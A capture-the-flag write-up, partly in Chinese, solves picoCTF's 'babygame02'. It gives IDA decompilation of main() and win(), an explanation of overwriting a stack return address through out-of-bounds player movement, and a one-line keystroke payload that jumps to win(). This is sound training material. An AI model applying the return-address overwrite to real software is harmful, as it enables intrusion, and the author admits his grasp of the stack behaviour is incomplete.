# PicoCTF - babygame02 ## Source :::spoiler IDA Main Function ```cpp int __cdecl main(int argc, const char **argv, const char **envp) { int position[2]; // [esp+0h] [ebp-AA0h] BYREF char map[2700]; // [esp+Bh] [ebp-A95h] BYREF char input; // [esp+A97h] [ebp-9h] int *p_argc; // [esp+A98h] [ebp-8h] p_argc = &argc; init_player(position); init_map(map, position); print_map(map); signal(2, sigint_handler); do { do { input = getchar(); move_player(position, input, map); print_map(map); } while ( position[0] != 29 ); // y座標 } while ( position[1] != 89 ); // x座標 puts("You win!"); return 0; } ``` ::: :::spoiler IDA Win Function ```cpp int win() { char s[60]; // [esp+0h] [ebp-48h] BYREF FILE *stream; // [esp+3Ch] [ebp-Ch] stream = fopen("flag.txt", "r"); if ( !stream ) { puts("flag.txt not found in current directory"); exit(0); } fgets(s, 60, stream); return printf(s); } ``` ::: :::spoiler IDA Win Function (Assembly) ```assembly .text:0804975D ; int win() .text:0804975D public win .text:0804975D win proc near .text:0804975D .text:0804975D s= byte ptr -48h .text:0804975D stream= dword ptr -0Ch .text:0804975D var_4= dword ptr -4 .text:0804975D .text:0804975D ; __unwind { .text:0804975D push ebp .text:0804975E mov ebp, esp .text:08049760 push ebx .text:08049761 sub esp, 44h .text:08049764 call __x86_get_pc_thunk_bx .text:08049764 .text:08049769 add ebx, (offset _GLOBAL_OFFSET_TABLE_ - $) .text:0804976F nop .text:08049770 nop .text:08049771 nop .text:08049772 nop .text:08049773 nop .text:08049774 nop .text:08049775 nop .text:08049776 nop .text:08049777 nop .text:08049778 nop .text:08049779 sub esp, 8 .text:0804977C lea eax, (aR - 804C000h)[ebx] ; "r" .text:08049782 push eax ; modes .text:08049783 lea eax, (aFlagTxt - 804C000h)[ebx] ; "flag.txt" .text:08049789 push eax ; filename .text:0804978A call _fopen .text:0804978A .text:0804978F add esp, 10h .text:08049792 mov [ebp+stream], eax .text:08049795 cmp [ebp+stream], 0 .text:08049799 jnz short loc_80497B7 .text:08049799 .text:0804979B sub esp, 0Ch .text:0804979E lea eax, (aFlagTxtNotFoun - 804C000h)[ebx] ; "flag.txt not found in current directory" .text:080497A4 push eax ; s .text:080497A5 call _puts .text:080497A5 .text:080497AA add esp, 10h .text:080497AD sub esp, 0Ch .text:080497B0 push 0 ; status .text:080497B2 call _exit ``` ::: ## Recon 這一題超難,主要是看了ref[^babygame02_martin_wp][^babygame02_ryan_wp]也不太知道怎麼做的,跟了gdb也分析不出個所以然,大概是和[前一題](https://hackmd.io/@SBK6401/rytbWvp5h)概念很像,從IDA分析的main function可以知道這次我們要想辦法跳到一個叫做win function的地方,但是這個function從來沒有被呼叫過,也沒有明顯的bof,所以要先用一些奇淫技巧改變return address,也就是到零零座標之後要先往上走(但是stack的變化我看不懂,總之y軸的數值變成0xfffffff,但不像上一題一樣會表現出來),總之再往左邊走39次,並改變原本玩家的表示字元(0x40)成win()對應的最後一個byte,例如0x50, 0x5e, 0x60, 0x61, 0x64, 0x69, 0x6f, 0x70 - 0x78...,此時就會看到stack的return value就會是0x80497xx,他就會跳到win function吐出flag ## Exploit Payload: ```bash aaaa wwwww l] aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa s ``` ## Reference [^babygame02_martin_wp]:[ picoCTF babygame02 - Martin Carlisle](https://youtu.be/y2E9fGfV6sI) [^babygame02_ryan_wp]:[babygame02 picoCTF writeup](https://blog.ry4n.org/babygame02-picoctf-writeup-6bf57b54f7b3)